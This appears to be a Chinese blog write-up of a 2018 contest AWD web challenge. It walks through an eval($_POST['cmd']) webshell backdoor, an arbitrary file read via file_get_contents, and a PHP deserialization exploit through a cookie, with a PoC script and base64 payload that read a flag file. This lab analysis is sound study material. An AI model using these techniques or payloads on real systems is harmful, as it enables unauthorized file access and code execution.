比赛有点久远了,大概是9月份举行的,全名叫2018年江苏省网络空间安全保密知识技能大赛,比赛流程是整个上午为awd,下午为靶场渗透。
上午awd打的比较出色,总分是第一,并且保持了0失分,记下这篇也是由于第一道awd题目里面当时有个反序列的点,当时并不理解,最后也没利用成功,昨天在深入分析了typecho的反序列化漏洞,觉得笔者应该能做出来了,于是启动docker,把环境搭建好了~
这道题目难度不是很大,有点类似于一般比赛,这道web当时发现了2个漏洞点,加上今天发现的反序列化,一共三个点,三个点都是很直接的利用,并没有多少POP链,所以比较适合新手,这里比赛源码我也上传到了百度云上,供新手练习
百度云链接:https://pan.baidu.com/s/1qIVY8r-MEYvHz8BCEySthA 提取码:5xxa
这里就直接进入正篇,开始分析漏洞点
1.后门
这里第一个后门应该很好找,一般比赛为了亲和度,都会留一两个后门来供新手玩耍,这里后门位于config/config.php
1
2
3
|
<?php
eval($_POST[‘cmd’]);
?>
|
很直接明了的一句话后门,没什么好说的,前一个小时还能打打,到后面肯定大家都修了,这个不多说。
这里我的flag留在了tmp目录下,所以直接读取就好了
2.文件读取
由于是典型的mvc框架,也就是说我们需要重点看controller文件,分析其中的功能。
这里主要看controller/index.class.php,因为这个是前台的文件,因此如果想要前台直接获取flag的话,读这个文件肯定没错了
这里漏洞代码为index.class.php文件第82行开始
1
2
3
4
5
6
7
8
|
function show_pic()
{
$pic = get(‘file’);
if ($pic != null){
header(“Content-type:image/jpeg”);
echo file_get_contents($pic);
}
}
|
这里很明显,可以直接利用file_get_contents函数来读取flag文件,这里可能唯一要注意的就是路由参数,这个直接看init.php分析下路由信息即可
3.反序列化
这个漏洞也是本文想要提的点,现在想来当时没打下来也是可笑。。其实整个POP链并不是多么的复杂。。
当时在登录处看到了反序列化的操作,代码位于controller/login.class.php的login函数中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
function login()
{
header(“Content-type: text/html; charset=utf-8”);
$user_data = @unserialize(base64_decode($_COOKIE[‘AshopToken’]));
$_SESSION[‘ip’] = $user_data[‘ip’];
$_SESSION[‘time’] = $user_data[‘time’];
$username = $_POST [‘username’ ];
$password = $_POST [‘password’ ];
$database = new login();
$user_data = $database->get_user_info( $username );
$user_info = $user_data[0];
if ($user_info) {
$realpass = md5($password);
if ($realpass == $user_info[‘password’]) {
session_start();
$_SESSION[‘user’] = $username;
$_SESSION[‘pass’] = md5($realpass);
echo “<script>“;
echo “window.location.href = ‘?c=admin’“;
echo “</script>“;
}
else{ //密码错误
echo “<script>“;
echo “alert(‘用户名或密码错误’);“;
echo “window.location.href = ‘?c=login’“;
echo “</script>“;
}
}
else{ //用户名错误
echo “<script>“;
echo “alert(‘用户名或密码错误’);“;
echo “window.location.href = ‘?c=login’“;
echo “</script>“;
}
}
|
这里最重要的是这个COOKIE[‘AshopToken’]函数可控,因此当时判定这个肯定存在反序列化漏洞的,但是当时也找到了魔术方法,只是最后利用没利用起来。。
下面全局搜索魔术方法,如_wakeup、_toString等方法
这里在lib/class/picture.class.php中找到了_wakeup函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
class picture {
/**
* @var array $data
*/
protected $data;
/**
* @var int $itemsPerPage
*/
protected $itemsPerPage;
/**
* @var string $imgPath
*/
public $imgPath;
function __construct($data, $itemsPerPage) {
$this->data = $data;
$this->itemsPerPage = $itemsPerPage;
}
function __wakeup() {
echo file_get_contents($this->imgPath);
}
/**
* Returns the pictures of the given page or an empty array if page doesn’t exist
* @param int $page
* @return array
*/
public function getPage($page=1) {
if ($page > 0 && $page <= $this->getNumberOfPages()) {
$startOffset = ($page – 1) * $this->itemsPerPage;
return array_slice($this->data, $startOffset, $this->itemsPerPage);
}
return array();
}
/**
* Returns the maximum number of pages
* @return int
*/
public function getNumberOfPages() {
return ceil(count($this->data) / $this->itemsPerPage);
}
}
|
这里的_wakeup其实是很可疑的,因为会直接输出文件内容,由于比赛时flag是存储在根目录下的,所以利用_wakeup函数来读取flag文件内容,应该就是这样的思路。这里需要注意的就是有两个protected属性变量,这两个变量并不会影响结果,所以我们在初始化类的时候直接定义就好了,最后传入imgPath参数即可
这里首先本地调试下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
<?php
/**
* Sample php server script for a wookmark integration
*
* @author Sebastian Helzle <[email protected]>
*/
/**
* Basic class which provides all functions to retrieve and paginate pictures
*/
class picture {
/**
* @var array $data
*/
protected $data;
/**
* @var int $itemsPerPage
*/
protected $itemsPerPage;
/**
* @var string $imgPath
*/
public $imgPath;
function __construct($data, $itemsPerPage) {
$this->data = $data;
$this->itemsPerPage = $itemsPerPage;
}
function __wakeup() {
echo file_get_contents($this->imgPath);
}
/**
* Returns the pictures of the given page or an empty array if page doesn’t exist
* @param int $page
* @return array
*/
public function getPage($page=1) {
if ($page > 0 && $page <= $this->getNumberOfPages()) {
$startOffset = ($page – 1) * $this->itemsPerPage;
return array_slice($this->data, $startOffset, $this->itemsPerPage);
}
return array();
}
/**
* Returns the maximum number of pages
* @return int
*/
public function getNumberOfPages() {
return ceil(count($this->data) / $this->itemsPerPage);
}
}
$poc = new picture(‘123’,‘456’);
$poc->imgPath = ‘/tmp/flag’;
$adog = base64_encode(serialize($poc));
echo $adog;
//$user_data = @unserialize(base64_decode($adog));
|
这里新建一个picture类,然后将protected属性的变量给定义好,然后传入imgPath参数,最后得到序列话后的值
然后我们在登录界面,传入序列化后的cookie值,就能触发file_get_contents函数来输出flag文件
这里序列化后并进行base编码后的值如下
1
|
Tzo3OiJwaWN0dXJlIjozOntzOjc6IgAqAGRhdGEiO3M6MzoiMTIzIjtzOjE1OiIAKgBpdGVtc1BlclBhZ2UiO3M6MzoiNDU2IjtzOjc6ImltZ1BhdGgiO3M6OToiL3RtcC9mbGFnIjt9
|
这里由于是登录函数,因此登录抓包修改cookie值就能触发反序列化漏洞,这里报错是因为session中的ip值和反序列化后的值不对应所导致的,其实是没有影响的。。因为已经能够读取flag值了。
上述如有不当之处,敬请指出~
起初遇到rsa密码,是在实验吧里的一道题目,虽然学过密码学,不过rsa的加密解密早已忘记,现在特地又重新回顾了下,并编程实现之。具体的题目地址:传送门 这里的gmpy2库需要我们自己安装,具体方法如下: 在windows上直接安装wheel文件就方便多了,下载…
请登录后发表评论
注册